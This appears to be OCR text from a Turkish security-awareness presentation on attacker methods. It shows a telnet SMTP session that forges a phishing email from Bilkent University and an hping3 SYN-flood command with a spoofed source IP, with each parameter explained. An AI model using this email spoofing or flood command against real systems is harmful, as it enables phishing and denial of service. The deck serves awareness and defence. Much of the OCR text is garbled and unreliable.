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Hakkimda

Nebi Senol YILMAZ, CISA, CEH, 27001 LA

Secrove Information Security Consulting
Bilgi Guvenligi Danismanligi
Bilgi Sistemleri Denetimi
Penetrasyon Testleri
Zafiyet Arastirmasi
Exploit Gelistirme
Bilgi Guvenligi Ar-Ge (Tubitak Destekli)
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sil Yapiyor ?

iIcinde de olabiliyor.

SINASS : : :
A Secrove Information Security Consulting
f (24



taji...

ardi ediyor...
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Avantaji...

Saldirganda zaman kisiti bulunmuyor !!!

O Secrove Information Security Consulting



vantaji...

de...

| edilen her nokta...
VoIP, Cagri sistemi, destek baglanti hatti, cop kutulari

Alternatif giris yolu

Giris icin her yol mubah...
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m Adim ?

itesli, dergi, gazete, whois, nslookup

JCA\U CJ O

Metasploit, telnet, sslstrip, dnstunnel, ssh, arpspoof

Erisimi Surdurme
Netcat, ssh

Saldiri Gizlemek
Ssh, dnstunnel
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eler Yapiyor ?

SAN...
Im ediyor :)

biliyor...
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Saldirgan Neler Yapiyor 7

SN 5 F— s

@ nsyilmaz — e139837@divan: /home/ms1/e139837 — ssh — 18

el39B37@divan:~% telnet mx.yandex.ru 25
Tryimg 213.1B8.153.88...

Connected to mx.yandex.ru.

Escape character is '~]°'.

228 mxfrontéh.mail.yandex.net (Want to use Yandex.Mail for your domain? Visit http://pdd.yandex.ru)
helo test

250 mxfronteh.mail.yandex.net

mail from:yok@yok.com

258 2.1.8 =yok@yok.com= ok

rcpt to:nsyilmaz@yandex.com

258 2.1.5 =nsyilmaz@yandex.com= recipient ok

data

354 Enter mail, end with "." on a line by itself

Subject: Ogrenci Isleri Yeni MNotlandirma Sistemi

From:0grenci Isleri <ogrenci@bilkent.edu.tr=

To:nsyilmaz@yandex.com

Content-Type: text/hitml;

Ogrenci ileri yeni notlandirma sistemi hakkinda bilgi almak icin lutfen asagidaki linki kullaniniz. =br= =br=

=g href='http://www.secrove.com/'> Yeni Notlandirma Sistemi</a= <br> <=br=

<hr=
Ogrenci Isleri Daire Baskanligi <br=
Bilkent Universitesi

258 2.8.8 0k: gueued on mxfrontBh.mail.yandex.net as IpKd4eZXA-JZKGAm(2Z
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Saldirgan Neler Yapiyor 7

€ - C B https://mail.yandex.com.tr/neo2/#inbox

Metrica
Sent
Trash
Spam
Drafts

(o

W

Compose Checkmail Forward Delete  Spam! Fan
]
L]

:0:9
S &
% &
%

Ogrenci Isleri Ogrenci Isleri Yeni Notlandirma Sistemi Ogrenci iler
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Saldirgan Neler Yapiyor 7

€ - Q'.' |Ei https://mail.yandex.com.tr/neo2/#message/2290000001126615718

) Compose Checkmail Reply Forward Delete Spam! Unread
Metri T . . .
e Ogrenci Isleri Yeni Notlandirma Sistemi
Sent

Trash Ogrenci Isleri <ogrenci@bilkent.edu.tr> today at 13:22
Spam More options v
Drafts

customize... Ogrenci ileri yeni notlandirma sistemi hakkinda bilgi almak icin lutfen asagidaki linki kullaniniz.
™ Flagged Unread

& Attachments Yeni Notlandirma Sistemi

Add mailbox @1 £7

Ogrenci Isleri Daire Baskanligi
f Bilkent Universitesi

== Eorward

Write your reply here
Yandex'te

video
arayin
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an Neler Yapiyor ?

gruymus gibi gorunen mail, aslinda hedef
astiracak bir siteye yonlendirebilmektedir.

lamasi, bilgisayarin ele gecirilmesi icin
IT.

POC: 0-day exploit ile bilgisayarin ele gecirilmesine iliskin ornek.
http://www.youtube.com/watch?v=IKsdHQTD34w
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en DoS/DDoS?
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Neden DoS/DDoS?

Artik hayatimizin bir parcasi oldu...

WikiLeaks, VISA, MasterCard and PayPal
Amazon, E-Bay

Sony PlayStation, WordPress

Borsaya yapilan saldirilar (Hong-Kong)
Saldiri ile protesto (US, Israel, TR)
Off-line olmak... (TTNet)
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Neden DoS/DDoS?

Peki nasil...?

W Http Get/
B SYN Flood
UDP Flood

H ICMP Flood
B DNS Ampl.
Others
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Neden DoS/DDoS?
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Thu 12:00
B Average bits in B Average bits out

igurasyon - Bandwidth
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DoS/DDoS?

konfigurasyon ya da
eqildir...

. P
Teknik bilgi birikimi

Geleneksel IPS veya guvenlik duvari cihazlari
haricinde spesifik DDoS ¢ozumlerinin kullaniimasi
gerekmektedir.

PRIV 494 g 5 .
<o, Secrove Information Security Consulting 21
TN



DoS/DDoS?

kolay, kullanabildiginiz
K komut ile saldiri
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Neden DoS/DDoS?

3 nsyilmaz — root@mangrove: fhome/syilmaz — ssh — 181x49

root@mangrove: fhome/syilmaz# vnstat -1
Monitoring eth@... {press CTRL-C to stop)

rx: B kbit/s 1 pfs tx: 66.4B Mbit/s 132962 pst

(8060 _fij nsyilmaz — root@mangrove: [home/syilmaz — ssh — 80x24 |

root@mangrove: fhome/syilmaz# hping3 -5 -p B@ B.B.B.B -a B5.17.183.194 —-flood
HPING B.E.E.E (eth® B.B.B.B): S set, 40 headers + @ data bytes
hping in flood mode, no replies will be shown
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n DoS/DDoS?

.8 -a85.17.183.194 --floood

/[IP paketleri olusturmak icin
amdir. Kullandiginiz
arametreler ile bunu bir saldiri araci olarak
kullanabilirsiniz.
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Neden DoS/DDoS?

# hping -S -p 80 8.8.8.8 -a 85.17.183.194 --floood

-S . Syn paketi
-p 80 : TCP 80 portu

-a 85.17.183.194 : Spoof edilecek source IP addr.
--flood : Pketleri flood olarak arbitrary gonder

Sonuc: Basit bir sunucu ile ~60 Mbit/s SYN flood
saldirisi gerceklestiriimis olur.
Ayrica IP spoof ile de kimligimiz gizlenmis olur.
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nleme

. hum. )
36 bytes TCB)

-Received Timer
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Ozet

le bir adim onumuzdedir...
Icin her yolu deneyecektir.
otive olmak i¢cin buyuk beklentileri olmayabilir.
En zayif halka genellikle insandir.

Sistemler fazlaca yardimci olur.
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urler !

senol.yilmaz@secrove.com
"€ @nsyilmaz
nsyilmaz
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